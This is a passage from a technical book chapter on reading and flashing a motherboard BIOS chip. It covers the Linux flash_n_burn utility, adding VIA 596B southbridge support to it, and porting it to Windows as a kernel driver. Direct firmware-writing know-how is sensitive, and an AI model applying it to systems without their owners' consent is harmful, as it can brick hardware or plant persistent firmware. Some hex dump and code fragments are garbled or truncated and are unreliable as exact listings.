a. Map the physical address range of the BIOS chip, i.e., the address space near the 4-GB limit to the virtual address space of the process that will access the BIOS chip.

b. Create a pointer to the beginning of the mapped BIOS chip in the process's virtual address space.

c. Use the pointer in the previous step to manipulate the contents of the BIOS chip directly from the user-mode application. This means you can use an indirection operator to read the contents of the chip. However, for a write operation, there are some prerequisites because a BIOS chip is ROM. The same is true for BIOS chip erase operation.

2. Perform hardware-specific steps to access and manipulate the BIOS chip contents. In this step, you need to know the details of the hardware method for accessing the BIOS chip. This method is explained in the chipset datasheet and the BIOS chip datasheet. Generally, the hardware method is a series of steps as follows:

a. Configure the chipset registers to enable read and write access to the BIOS chip address space. In x86, the BIOS chip address space is located near the 4-GB limit. Usually, the chipset registers that control access to the BIOS chip are located in the southbridge.

b. Probe the BIOS chip in some predefined addresses to read the manufacturer identification bytes and the chip identification bytes. These identification bytes are needed to determine the method you should use to access the contents of the BIOS chip. Note that every BIOS chip manufacturer has its own command set to access the contents of the chip. Some commands have been standardized by the JEDEC Solid State Technology Association.

c. Write and read the binary to and from the chip according to manufacturer's specification.

This is the big picture of the method that you have to use to access and manipulate the BIOS contents within operating system. The next sections delve into operating system–specific implementations of the concepts.

### 9.2. Accessing Motherboard BIOS Contents in Linux

You learned about general direct access to the BIOS chip within an operating system in section 9.1. As a proof of concept, I show you how to perform this task in Linux. I conduct the experiment in an Iwill VD133 motherboard. This motherboard is old, from 2000. I chose it for two reasons. First, I want to show you that even in an old motherboard this task can be performed. Second, because this motherboard is old enough, its datasheets are available free of charge on the Internet. You need the chipset datasheet and its BIOS

---

1 *Process* in this context means an instance of a currently running user-mode application.

2 Datasheets for Intel chipsets and AMD chipsets are usually available for download upon the introduction of the chipset to the market. This is not the case for chipsets made by VIA, Nvidia, SiS, and many other manufacturers.
chip datasheet to be able to access and manipulate the BIOS contents. The specifications of the system that I use are as follows:

1. The motherboard is Iwill VD133 with an VIA 693A northbridge and an VIA 596B southbridge. The original BIOS is dated July 28, 2000. The BIOS chip is a Winbond W49F002U flash ROM chip.
2. The operating system is Linux Slackware 9.1 with kernel version 2.4.24. The source of the kernel is installed as well. It's needed to compile the software so that I can access the BIOS chip contents directly.

From this point on, regard the preceding system as the target system.

Now, continue to the documentation that you need to carry out the task:

1. The chipset datasheet, particularly the southbridge datasheet, is needed. In an x86 motherboard, the southbridge controls access into the BIOS chip. In this case, you need the VIA 596B datasheet. Fortunately, the chipset datasheet is free online at http://www.megaupload.com/?d=FF297JQD.
2. The BIOS chip datasheet is also needed, because every BIOS chip has its own command set, as explained in section 9.1. In this case, you need the Winbond W49F002U datasheet. It's available online at http://www.winbond.com/e-winbondhtm/partner/_Memory_F_PF.htm.

A tool is also needed to access the BIOS chip. I prefer to build the tool myself because I'll have full control of the system without relying on others. Fortunately, the Freebios project developers have done the groundwork. They have made a Linux BIOS flasher program. It's called flash_n_burn. The source code of this program is free at http://sourceforge.net/cvs/?group_id=3206. It's also accessible at http://freebios.cvs.sourceforge.net/freebios/freebios/util/flash_and_burn/ for manual download. It's unfortunate that this tool is not included by default in the Freebios distribution. With this tool, you can dump the BIOS binary from the BIOS chip and flash the BIOS binary file to the BIOS chip directly in Linux. More importantly, I'll show you how it works under the hood. You might want to download it and tailor it to your liking later.

9.2.1. Introduction to flash_n_burn

Let me show you how to compile the source code. You need to copy the source code into a directory and then compile it from there. In this example, place the code in the ~/Project/freebios_flash_n_burn directory. Then, compile it by invoking the make utility as shown in shell snippet 9.1. Note that you can clean the compilation result by invoking make clean inside the source code directory.

---

3 BIOS flasher is software used to burn, or flash, a BIOS binary file into the BIOS chip.
Shell snippet 9.1 Compiling flash_n_burn

```bash
pinczakko@opunaga:~/Project/freebios_flash_n_burn> make
gcc -O2 -g -Wall -Werror -c -o flash_rom.o flash_rom.c
gcc -O2 -g -Wall -Werror -c -o jedec.o jedec.c
gcc -O2 -g -Wall -Werror -c -o sst28sf040.o sst28sf040.c
gcc -O2 -g -Wall -Werror -c -o am29f040b.o am29f040b.c
gcc -O2 -g -Wall -Werror -c -o sst39sf020.o sst39sf020.c
gcc -O2 -g -Wall -Werror -c -o m29f400bt.o m29f400bt.c
gcc -O2 -g -Wall -Werror -c -o w49f002u.o w49f002u.c
gcc -O2 -g -Wall -Werror -c -o 82802ab.o 82802ab.c
gcc -O2 -g -Wall -Werror -c -o msys_doc.o msys_doc.c
gcc -O2 -g -Wall -Werror -o flash_rom flash_rom.c jedec.o sst28sf040.o am29f040b.o mx29f002.c sst39sf020.o m29f400bt.o w49f002u.o 82802ab.o msys_doc.o -lpci
gcc -O2 -g -Wall -Werror -o flash_on flash_on.c
pinczakko@opunaga:~/Project/freebios_flash_n_burn>
```

The results of the compilation in shell snippet 9.1 are two executable files named `flash_on` and `flash_rom`, as shown in shell snippet 9.2. Note that I have removed irrelevant files entries in shell snippet 9.2.

Shell snippet 9.2 Executables for flash_n_burn

```bash
pinczakko@opunaga:~/Project/freebios_flash_n_burn> ls -l
...
-rwxr-xr-x 1 pinczakko users 25041 Aug  5 11:49 flash_on*
-rwxr-xr-x 1 pinczakko users 133028 Aug  5 11:49 flash_rom*
...
```

In reality, the `flash_on` executable is not used because its functionality already present in the `flash_rom` executable. Originally, `flash_on` was used to activate access to the BIOS chip through the southbridge of the SiS chipset. However, this functionality has since been integrated into the `flash_rom` utility. Thus, I only consider the usage of `flash_rom` here. Running the `flash_rom` utility is as simple as invoking it as shown in shell snippet 9.3. If you input the wrong parameters, `flash_rom` will show the right input parameters. This is shown in shell snippet 9.3. Note that to take full advantage of `flash_rom` you have to acquire an administrator account, as shown in shell snippet 9.4. Without an administrator account, you can't even read the contents of the BIOS chip. This is because of the I/O privilege level needed to run the software.

Shell snippet 9.3 Finding flash_rom Valid Input Parameters

```bash
pinczakko@opunaga:~/Project/A-List_Publishing/freebios_flash_n_burn>
./flash_rom --help
./flash_rom: invalid option -- -
usage: ./flash_rom [-rwv] [-c chipname][file]
-r: read flash and save into file
```

---

In summary, we have successfully compiled the `flash_n_burn` project. The two executable files, `flash_on` and `flash_rom`, are now ready for use. Note that `flash_on` is not required and its functionality has been integrated into `flash_rom`. Running `flash_rom` is straightforward, but remember to acquire the necessary administrator privileges to access the BIOS chip.
I now dump the BIOS binary of the target system. However, before that, I have to log on as administrator. The result is shown in shell snippet 9.4. Note that I have condensed the console output to highlight the important parts.

Shell snippet 9.4 Dumping the BIOS Binary from BIOS Chip into the File in Linux

```shell
root@opunaga:/home/pinczakko/Project/freebios_flash_n_burn# ./flash_rom -r dump.bin
Calibrating timer since microsleep sucks ... takes a second
Setting up microsecond timing loop
128M loops per second
OK, calibrated, now do the deed
Enabling flash write on VT82C596B ... OK
Trying Am29F040B, 512 KB
probe_29f040b: id1 0x25, id2 0xf2
Trying At29C040A, 512 KB
probe_jedec: id1 0xda, id2 0xb
Trying Mx29f002, 256 KB
probe_29f002: id1 0xda, id2 0xb
Trying W49F002U, 256 KB
probe_49f002: id1 0xda, id2 0xb
flash chip manufacturer id = 0xda
W49F002U found at physical address: 0xfffc0000
Part is W49F002U
Reading flash ... Done
```

Shell snippet 9.4 shows the BIOS chip probing process. First, `flash_rom` enables access to the BIOS chip by configuring the VIA 596B southbridge registers. Then, it probes for every chip that it supports. In this case, Winbond W49F002U is detected and its content is dumped into the dump.bin file. Notice the `-r` parameter passed into `flash_rom`. This parameter means: I want to read the BIOS chip contents. You can confirm this from shell snippet 9.3.

The BIOS binary that I dumped previously is in binary format. Thus, to view it, I need a special utility from Linux named `hexdump`. This utility is meant to be compliant with the portable operating system interface. You can find this utility in most UNIX and Linux distributions. I use the command shown in console snippet 9.5 to view the contents of the BIOS binary in the Linux console.
Shell snippet 9.5 Reading the BIOS Binary in Linux

```
root@opunaga:/home/pinczakko/Project/freebios_flash_n_burn# hexdump -f fmt dump.bin | less
```

The command in the preceding shell snippet is using a custom formatting file named fmt. This file is an ordinary text file used to format the output of `hexdump`. The content of this file is shown in listing 9.1.

Listing 9.1 fmt Content

```
"%06.6_ax  "  12/1 "%02X  
" " "%p   
"\n"
```

If you are confused about the meaning of listing 9.1, please refer to the explanation of listing 7.9 in section 7.3.4. Both files are the same. The result of the command in shell snippet 9.5 is shown in hex dump 9.1.

**Hex dump 9.1 dump.bin**

<table>
<thead>
<tr>
<th>Address</th>
<th>Hexadecimal Values</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>000000</td>
<td>25 2D 6C 68 35 85 3A 00 00 C0</td>
<td>% - l h 5 .. . . .</td>
</tr>
<tr>
<td>00000c</td>
<td>57 00 00 00 00 00 41 20 01 0C 61 77</td>
<td>W A a w</td>
</tr>
<tr>
<td>000018</td>
<td>61 72 64 65 78 74 2E 72 6F 6D DB 74</td>
<td>a r d e x t . r o m . t</td>
</tr>
<tr>
<td>000024</td>
<td>20 00 00 00 2C F8 8E FB DD 23 49 DB</td>
<td>, .. . . $# I .</td>
</tr>
<tr>
<td>.........</td>
<td></td>
<td></td>
</tr>
<tr>
<td>03ff90</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00</td>
<td>. . . . . . . . . .</td>
</tr>
<tr>
<td>03ffe4</td>
<td>00 00 00 32 41 36 4C 47 49 33 3A 2A 6L G I 3 C</td>
<td></td>
</tr>
<tr>
<td>03fff0</td>
<td>EA 5B E0 00 F0 2A 52 42 2A 02 00</td>
<td>[. . . * M R B * . . .</td>
</tr>
<tr>
<td>03fff0</td>
<td>00 00 FF FF</td>
<td></td>
</tr>
</tbody>
</table>

Hex dump 9.1 is a condensed version of the output from the Linux console. This hex dump shows the first compressed part in the BIOS binary and the end of the boot block. Then, I proceed to flash the binary that I dumped earlier to ensure that the `flash_rom` utility is working as expected. This process is shown in shell snippet 9.6.

Shell snippet 9.6 Flashing the BIOS Binary in Linux

```
root@opunaga:/home/pinczakko/Project/freebios_flash_n_burn# ./flash_rom -wv dump.bin
Calibrating timer since microsleep sucks ... takes a second
Setting up microsecond timing loop
128M loops per second
OK, calibrated, now do the deed
Enabling flash write on VT82C596B ... OK
Trying Am29F040B, 512 KB
```

Shell snippet 9.6 shows that the flash_rom utility probes the motherboard to find the BIOS chip, flashes the BIOS binary into the BIOS chip, and then verifies the result before exiting back to the console.

Now, you should be comfortable with the BIOS flashing utility. In the next subsection, you will learn the details of method used to access the BIOS chip contents once you have obtained an administrator account.

9.2.2. Internals of flash_n_burn

Now, you will learn how flash_n_burn accesses the BIOS chip directly in Linux. This is the most important concept to grasp in this section. You'll start with the techniques to traverse the source code of flash_n_burn efficiently. A proficient programmer or hacker has an efficient way to extract information from source codes. There are two important tools to do so:

1. A powerful text editor that can traverse the source code by parsing a tag file generated from the source code.
2. A program can be used to create the tag file from the source code. A tag file is a file that "describes" the interconnections between the data structures and the functions in a source code. In this particular source code, I'm using vi as the text editor and ctags as the program to create the tag file.

Start with the creation of the tag file. You need to move into the root directory of the source code and then create the tag file there, as shown in shell snippet 9.7.

Shell snippet 9.7 Creating the Tag in Linux

```
pinczakko@opunaga:/home/pinczakko/Project/freebios_flash_n_burn> ctags -R *
```

The parameters in the ctags invocation in shell snippet 9.7 are read as follows:
• `-R` means traverse the directories recursively starting from the current directory and include in the tag file the source code information from all traversed directories.

• `*` means create tags in the tag file for every file that `ctags` can parse.

Once you've invoked `ctags` like that, the tag file will be created in the current directory and named `tags`, as shown in shell snippet 9.8.

**Shell snippet 9.8 The Tag File**

```
pinczakko@opunaga:~/Project/freebios_flash_n_burn> ls -l
...  
-rw-r--r--  1 pinczakko users    12794 Aug  8 09:06 tags
... 
```

I condensed the shell output in shell snippet 9.8 to save space. Now, you can traverse the source code using `vi`. I'll start with `flash_rom.c`. This file is the main file of the `flash_n_burn` utility. Open it with `vi` and find the `main` function within the file. When you are trying to understand a source code, you have to start with the entry point function. In this case, it's `main`. Now, you can traverse the source code; to do so, place the cursor in the function call that you want to know and then press `Ctrl+J` to go to its definition. If you want to know the data structure definition for an object, place the cursor in the member variable of the object and press `Ctrl+J`; `vi` will take you to the data structure definition. To go back from the function or data structure definition to the calling function, press `Ctrl+T`. Note that these key presses apply only to `vi`; other text editors may use different keys. As an example, refer to listing 9.2. Note that I condensed the source code and added some comments to explain the steps to traverse the source code.

**Listing 9.2 Moving flash_n_burn Source Code**

```c
// -- file: flash_rom.c --
int main (int argc, char * argv[])
{
    // Irrelevant code omitted

    (void) enable_flash_write();  // You will find the definition of this
    // function. Place the cursor in the
    // enable_flash_write function call, then
    // press Ctrl+J.

    // Irrelevant code omitted
}
```

5 An object is a data structure instance. For example if a data structure is named `my_type`, then a variable of type `my_type` is an object, as in `my_type a_variable; a_variable` is an object.
int enable_flash_write() {
    // This place is reached once you've pressed Ctrl+] to return to the function main(), press Ctrl+t here.
    // Irrelevant code omitted
}

The current version of flash_n_burn doesn't support VIA 596B southbridge. Thus, I added my own code to support this southbridge. Without it, I would not be able to access the BIOS chip in Linux. I'll explain how to add this support. It's the time to implement the trick to traverse the source code that you've just learned.

The entry point of flash_n_burn is a function named main in the flash_rom.c file. In this function, you found a call to the function enable_flash_write that enables the decoding of BIOS address ranges near the 4-GB limit. Now, go to the definition of this function. You will find the call to a member function of the supported southbridge object. This member function is named doit. It's a chipset-specific function defined to enable the access to the BIOS address ranges. The call to doit is shown in listing 9.3.

Listing 9.3 Call to the doit Member Function

```c
int enable_flash_write() {
    int i;
    struct pci_access *pacc;
    struct pci_dev *dev = 0;
    FLASH_ENABLE *enable = 0;

    pacc = pci_alloc();       // Get the pci_access structure
    // Set all options you want; I stick with the defaults
    pci_init(pacc);           // Initialize the PCI library
    pci_scan_bus(pacc);       // Get the list of devices

    // Try to find the chipset used
    for (i = 0; i < sizeof(enables)/sizeof(enables[0]) && (! dev); i++) {
        struct pci_filter f;
        struct pci_dev *z;
        // The first parameter is unused
        pci_filter_init((struct pci_access *) 0, &f);
        f.vendor = enables[i].vendor;
        f.device = enables[i].device;
        for (z=pacc->devices; z; z=z->next)
            if (pci_filter_match(&f, z)) {
                enable = &enables[i];
                dev = z;
                // do it
            }
    }
}
```
// Do the deed
if (enable) {
    printf("Enabling flash write on %s...", enable->name);
    // Call the doit function to enable access to the BIOS
    // address ranges near the 4-GB limit
    if (enable->doit(dev, enable->name) == 0)
        printf("OK\n");
}
return 0;

Before delving into the chipset specific routine, let me show you the declaration of the data structure that contains the doit function as its member. You can traverse to this declaration by placing the cursor in the doit word in the call to the doit function:

if (enable->doit(dev, enable->name) == 0)

Then traverse forward in the source code. You will arrive in the data structure declaration, as shown in listing 9.4.

Listing 9.4 FLASH_ENABLE Data Structure Declaration

typedef struct penable {
    unsigned short vendor, device;
    char *name;
    int (*doit)(struct pci_dev *dev, char *name);
} FLASH_ENABLE;

As you can see, the data structure is named FLASH_ENABLE and one of its members is a pointer to the function named doit. Listing 9.5 shows the instances of FLASH_ENABLE that are traversed during the process of trying to enable access to the BIOS chip through the southbridge. These instances of FLASH_ENABLE are parts of an object named enables. You have to traverse the source code to this object's definition to know which chipset it's currently supporting. To do so, go back from the previous FLASH_ENABLE declaration to function enable_flash_write. Then, go forward in the source code to find the definition of enables. The definition of enables is shown in listing 9.5.

Listing 9.5 The enables Object Definition

FLASH_ENABLE enables[] = {
    {0x1, 0x1, "sis630 -- what's the ID?", enable_flash_sis630},

---

6 To traverse forward in vi, press Ctrl+].
7 To traverse backward in vi, press Ctrl+t.
8 Place the cursor in the enables word and then press Ctrl+].
As you can see, the enables object hasn't support the VIA 596B southbridge yet. There is no device identifier for VIA 596B, nor is there a function named `enable_flash_vt82C596B` or something similar to it. I added the support for VIA 596B by adding a new member to `enables`, as shown in listing 9.6.

### Listing 9.6 New enables Object Definition

```c
FLASH_ENABLE enables[] = {
    {0x1, 0x1, "sis630 -- what's the ID?", enable_flash_sis630},
    {0x8086, 0x2480, "E7500", enable_flash_e7500},
    {0x1106, 0x8231, "VT8231", enable_flash_vt8231},
    {0x1106, 0x0596, "VT82C596B", enable_flash_vt82C596B},
    {0x1106, 0x3177, "VT8235", enable_flash_vt8235},
    {0x1078, 0x0100, "CS5530", enable_flash_cs5530},
    {0x100b, 0x0510, "SCI100", enable_flash_sci100},
    {0x1039, 0x8, "SIS5595", enable_flash_sis5595},
};
```

Listing 9.6 shows that I added a new instance of `FLASH_ENABLE` to the `enables` object, this new instance represents the PCI-to-ISA bridge in VIA 596B southbridge. The PCI-to-ISA bridge's PCI vendor ID is 1106h, its device ID is 596h, and its `doit` function is named `enable_flash_vt82C596B`. Note that the BIOS chip is located behind the ISA bus; that's why the PCI configuration registers that control access to the BIOS chip is in the PCI-to-ISA bridge. Furthermore, the southbridge has many PCI functions in it. PCI-to-ISA bridge is only one of them. Modern-day chipsets replace the PCI-to-ISA bridge functionality with an LPC bridge, and the BIOS chip is connected to the chipset through LPC interface. Now, let me show the implementation of the function `enable_flash_vt82C596B`.

### Listing 9.7 enable_flash_vt82C596B

```c
int enable_flash_vt82C596B(struct pci_dev *dev, char *name) {
    unsigned char val;

    // Enable the FFF00000h-FFFF7FFFFh, FFF80000h-FFFFDFFFFh, and
    // FFFE0000h-FFFFFFFFh ranges to be decoded as memory
    // access to the BIOS flash ROM chip
```
Listing 9.7 shows how to enable access to the BIOS chip, i.e., by enabling the decoding of the BIOS address range and then by enabling writing to the BIOS chip in the corresponding PCI-to-ISA bridge configuration registers. The `flash_n_burn` source code doesn't require you to carry out the `doit` function successfully to continue probing for the right BIOS chip and writing or reading into it. However, most of today's motherboards need to carry out that function successfully to be able to access the BIOS chip. After I added the code in listing 9.7 and modified the `enables` data structure as shown in listing 9.6, I recompiled the new `flash_n_burn` source code and then tried to dump the BIOS contents. It worked as expected.

Information about the PCI-to-ISA bridge configuration registers in the VIA 596B southbridge can be found in its datasheet.

### 9.3. Accessing Motherboard BIOS Contents in Windows

In this section, I show you how to access the contents of the BIOS chip in Windows. Building a BIOS flasher utility for Windows from scratch is a hassle. Thus, I will show you how to port to Windows the `flash_n_burn` utility that you learned about in the previous section. Porting this utility is not easy because some operating system–specific issues must be resolved. Before that, I highlight the logical architecture of the Windows version of the `flash_n_burn` utility that you will build. It is shown in figure 9.1. From now on, I will refer to this windows version of `flash_n_burn` as `bios_probe` because the final executable created from the source code is `bios_probe.exe`. 
Figure 9.1 depicts the logical architecture of `bios_probe`. The division of `flash_n_burn` from its Linux version into components shown in the figure is not clear. The Linux version has an overlapped component implementation because of the presence of `/dev/mem` and the I/O privilege level (IOPL). `/dev/mem` is a virtual file representation of the overall physical memory address space in Linux. IOPL is a feature that enables a user with administrator privilege to access the I/O port directly in Linux. Both of these features don't exist in Windows. Therefore, I have to divide `bios_probe` into the components shown in figure 9.1 to determine which of the routines that must be separated from the rest of the source code developed separately as a Windows device driver.

Now, it's clear that components 2 and 3 in figure 9.1 must be implemented in a device driver. Component 2 consists of direct I/O functions that normally exist in Linux, namely, `outb`, `outw`, `outl`, `inb`, `inw`, and `inl`. Component 3 will replace the functionality of the `mmap` function that exists in Linux but not in Windows. In the Linux version of `flash_n_burn`, the `mmap` function maps the BIOS chip to the address space of the requesting user-mode application.

You can download the source code of `bios_probe` that I explain here at http://www.megaupload.com/?d=3QOD8V00. At this Web address is version 0.26 of the source code. However, this latest Windows version has not been well tested yet. I have only tested it successfully in a motherboard based on the VIA 596B southbridge with a Winbond W49F002U flash ROM chip and in a motherboard based on the Intel ICH5 southbridge with Winbond W39V040FA flash ROM. The directory structure of this source code is shown in figure 9.2.
The root directory in the bios_probe source code is named v0.26. This name represents the version number of the source code. The source code supports many flash ROM chips; I only explain the two that I have tested.

The directory named exe under the root directory contains the source code for the user-mode application of bios_probe, and the directory named sys contains the source code of the device driver. The directory named libpci under the exe directory contains the source code for the static library used to probe the PCI bus. I delve more into these directories in the next subsections.

With this source code, you have a solid foundation to add support for another kind of chipset and for another flash chips.

9.3.1. Kernel-Mode Device Driver of bios_probe

In this subsection, both driver and device driver refer to the kernel-mode device driver of bios_probe.

You need the Windows 2000 or Windows XP driver development kit (Windows 2000 or Windows XP DDK) to build the driver of bios_probe. You build the driver by invoking the build utility in the DDK build environment. For example, shell snippet 9.9 is from the Windows XP DDK free build environment, which I used to build the bios_probe device driver.

Shell snippet 9.9 Building the device driver

```
F:\A-List_Publishing\Windows_BIOS_Flasher\current\sys>build
BUILD: Adding /Y to COPYCMD so xcopy ops won't hang.
BUILD: Object root set to: ==> objfre_wxp_x86
BUILD: Compile and Link for i386
BUILD: Loading C:\WINDDK\2600~1.110\build.dat...
BUILD: Computing Include file dependencies:
BUILD: Examining f:\a-list_publishing\windows_bios_flasher\current\sys directory for files to compile.
  f:\a-list_publishing\windows_bios_flasher\current\sys - 1 source files (888 lines)
```

The DDK build environment is a console with its environment variables set to suit device driver development.
Now, I will show you the overall source code of the driver that implements components 2 and 3 in figure 9.1. I start with the interface file that connects the user-mode application and the device driver.

Listing 9.8 The interface.h File

```c
/*
 *  This is the interface file that connects the user-mode application
 *  and the kernel-mode driver.
 *
 *  NOTE:
 *  ----- 
 *  - You must use #include <winioctl.h> before including this
 *    file in your user-mode application.
 *  - You probably need to use #include <devioctl.h> before including
 *    this file in your kernel-mode driver.
 *  These include functions are needed for the CTL_CODE macro to work.
 */

#define IOCTL_READ_PORT_BYTE       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0801,
                                        METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
#define IOCTL_READ_PORT_WORD       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0802,
                                        METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
#define IOCTL_READ_PORT_LONG       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0803,
                                        METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
#define IOCTL_WRITE_PORT_BYTE       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0804,
                                          METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
#define IOCTL_WRITE_PORT_WORD       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0805,
                                          METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
#define IOCTL_WRITE_PORT_LONG       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0806,
                                          METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
#define IOCTL_MAP_MMIO              CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0809,
```

Listing 9.8 shows the contents of the interface.h include file. This file is located in the root directory of the source code. It provides the interface between the user-mode application of bios_probe and its Windows device driver. MMIO in listing 9.8 stands for memory-mapped I/O.

It's important that you have a background in Windows 2000/XP device driver development to comprehend listing 9.8 completely. If you are unfamiliar with such development, I recommend reading The Windows 2000 Device Driver Book: A Guide for Programmers (Second Edition) by Art Baker and Jerry Lozano, or Programming the Microsoft Windows Driver Model (Second Edition) by Walter Oney.

Listing 9.8 provides the interface between the user-mode application and the device driver by defining some input/output control (IOCTL) codes and some data structures. The IOCTL codes are defined with the CTL_CODE macro. For example, to read one byte from any port, IOCTL_READ_PORT_BYTE is defined as follows:
A user-mode application uses the IOCTL codes as the communication code to "talk" with the device driver through the DeviceIoControl Windows API function. You can think of an IOCTL as a "phone number" to contact certain service provided by the device driver. This logic is shown in figure 9.3.

The IOCTL code is passed from the user-mode application through the DeviceIoControl API. The I/O manager subsystem of the Windows kernel will pass this IOCTL code to the right device driver by using an I/O request packet (IRP). An IRP is a data structure used by the I/O manager to communicate with device drivers in Windows.

Listing 9.9 DeviceIoControl Win32API Function Declaration

```c
BOOL DeviceIoControl(
    HANDLE hDevice,
    DWORD dwIoControlCode,
```
Listing 9.9 shows that the IOCTL code is the second input parameter when you invoke the `DeviceIoControl` function. Beside the IOCTL code, `DeviceIoControl` has some pointer-to-void parameters\(^\text{10}\) used by user-mode applications to exchange data with device drivers. Because the parameters are pointer-to-void, you can set the pointer to point to anything. Thus, to make these parameters usable, you have to define some data structures that will be used by the user-mode application and the device driver. You use the pointer-to-void in `DeviceIoControl` to point to an instance of this data structure. To do so, you cast the pointer-to-void to pointer-to-your-data-structure and manipulate the contents of the data structure instance with the latter pointer. These data structures are defined in listing 9.8 with a `typedef struct` keyword, for example, as follows:

\[
\text{typedef struct } _\text{IO\_LONG} \\
\text{ unsigned short port32; } \\
\text{ unsigned long value32; } \\
\text{ } _\text{IO\_LONG};
\]

Continuing the "phone number" analogy that I mentioned before, you can think of the content of these data structures as the "conversation" between the user-mode application and the device driver. Note that in the bios_probe device driver, every IOCTL code is associated with one data structure, but not the other way around. For example, `IOCTL_READ_PORT_LONG` is associated with `IO_LONG` data structure; `IOCTL_WRITE_PORT_LONG` is also associated with `IO_LONG`. Both `IOCTL_READ_PORT_BYTE` and `IOCTL_WRITE_PORT_BYTE` are associated with `IO_BYTE`. And so on.

Proceed to the most important part of the bios_probe device driver. Start with the internal header of the device driver. It is named bios_probe.h and is shown in listing 9.10.

---

\(^{10}\) Pointer-to-void is a parameter declared with the LPVOID type. In listing 9.9, parameters of this type are LPVOID lpInBuffer and LPVOID lpOutBuffer.
The internal header of the device driver is not exported to external entities; i.e., it's not to be included by external software modules that are not part of the bios_probe device driver. This file contains the declaration of internal functions and data structures of the device driver.

I start with an explanation of the function declarations. The entry point of a Windows device driver is a function named DriverEntry. It's shown in listing 9.10. This
function has two input parameters, a driver object pointer and a pointer to a Unicode string that points to the registry entry associated with the driver. These parameters are passed into the device driver by Windows when the driver is loaded into memory for the first time. The responsibility of `DriverEntry` is to initialize the function pointers that will point to functions that provide services within the driver and to initialize the exported name\(^{11}\) of the driver so that a user-mode application can open a handle to the driver. I'll delve more into this when you arrive at the bios_probe.c file. Functions that start with the word `Dispatch` in listing 9.10 are the "services" provided by the driver. The names of these functions are clear enough for their intended purposes.

There is one data structure declaration in listing 9.10: `DEVICE_EXTENSION`. Roughly speaking, `DEVICE_EXTENSION` is the place for globally visible driver variables, namely, variables expected to retain their value during the lifetime of the driver.

### Listing 9.11 The bios_probe.c File

```c
/*++
Module Name: bios_probe.c
Abstract: The main file of the BIOS probing utility device driver
Author: Darmawan Salihun (Aug. 27, 2006)
Environment: Kernel mode
Revision History:
- Originated from the CancelSafeIrq Win_XP DDK sample by Eliyas Yakub
- (Aug. 27, 2006) BIOS probing device driver constructed by Darmawan Salihun
- (Sept. 9, 2006) Device driver architecture reworked to accommodate to the 256 MMIO range to be mapped by the driver. Systematic comments added.

TODO:
- Add routines to check whether a requested physical address range overlaps with the currently allocated mapZone in the device extension. Do this in the MapMmio function.
--*/

#include "bios_probe.h"
#include <devioctl.h>
```

\(^{11}\) Exported name in this context is an object name that is part of the name space in windows 2000/XP. A user-mode application can "see" and use this name.
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)

Routine Description:
Installable driver initialization entry point.
This entry point is called directly by the I/O system.

Arguments:
DriverObject - Pointer to the driver object.
registryPath - Pointer to a Unicode string representing the path
to a driver-specific key in the registry.

Return Value:
STATUS_SUCCESS if successful,
STATUS_UNSUCCESSFUL otherwise

NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING unicodeDeviceName;
UNICODE_STRING unicodeDosDeviceName;
PDEVICE_OBJECT deviceObject;
PDEVICE_EXTENSION pDevExt;
ULONG i;

UNREFERENCED_PARAMETER (RegistryPath);

BIOS_PROBE_KDPRINT(("DriverEntry Enter \n");

DriverObject->DriverUnload = DispatchUnload;

DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreate;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchClose;
DriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
DriverObject->MajorFunction[IRP_MJ_WRITE] = DispatchWrite;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoControl;

(void) RtlInitUnicodeString( &unicodeDeviceName,
BIOS_PROBE_DEVICE_NAME_U);

status = IoCreateDevice( DriverObject,
sizeof(DEVICE_EXTENSION),
&unicodeDeviceName,
FILE_DEVICE_UNKNOWN,
0,
(BOOLEAN) FALSE,
&deviceObject );
if (!NT_SUCCESS(status))
{
    return status;
}

DbgPrint("DeviceObject %p\n", deviceObject);

//
// Set the flag signifying direct I/O. This causes NT
// to lock the user buffer into memory when it's accessed.
//
deviceObject->Flags |= DO_DIRECT_IO;

//
// Allocate and initialize a Unicode string containing the Win32 name
// for the device.
//
(void)RtlInitUnicodeString(&unicodeDosDeviceName,
    BIOS_PROBE_DOS_DEVICE_NAME_U);

status = IoCreateSymbolicLink((PUNICODE_STRING)&unicodeDosDeviceName,
    (PUNICODE_STRING) &unicodeDeviceName);

if (!NT_SUCCESS(status))
{
    IoDeleteDevice(deviceObject);
    return status;
}

//
// Initialize the device extension.
//
pDevExt = (PDEVICE_EXTENSION)deviceObject->DeviceExtension;
for(i = 0; i < MAX_MAPPED_MMIO; i++)
{
    pDevExt->mapZone[i].sysAddrBase = NULL;
    pDevExt->mapZone[i].size = 0;
    pDevExt->mapZone[i].usermodeAddrBase = NULL;
    pDevExt->mapZone[i].pMdl = NULL;
}

BIOS_PROBE_KDPRINT(("DriverEntry Exit = %x\n", status));

return status;

NTSTATUS DispatchCreate( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
/*++
Routine Description:
Process the create IRPs sent to this device.
This routine does nothing but signal successful IRP handling.

Arguments:
DeviceObject - Pointer to a device object.
Irp - Pointer to an I/O request packet.

Return Value:
NT Status code
---*
{  
    NTSTATUS status = STATUS_SUCCESS;
    BIOS_PROBE_KDPRINT(("DispatchCreate Enter\n"));
    //
    // The dispatch routine for IRP_MJ_CREATE is called when a
    // file object associated with the device is created.
    // This is typically because of a call to CreateFile() in
    // a user-mode program or because another driver is
    // layering itself over this driver. A driver is
